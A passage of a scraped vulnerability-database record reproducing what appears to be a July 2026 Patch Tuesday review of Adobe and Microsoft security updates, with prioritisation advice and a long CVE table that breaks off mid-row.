insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:39.897055Z"}, {"uuid": "09a4f823-9a04-4bca-b34e-9110119fe154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54988", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  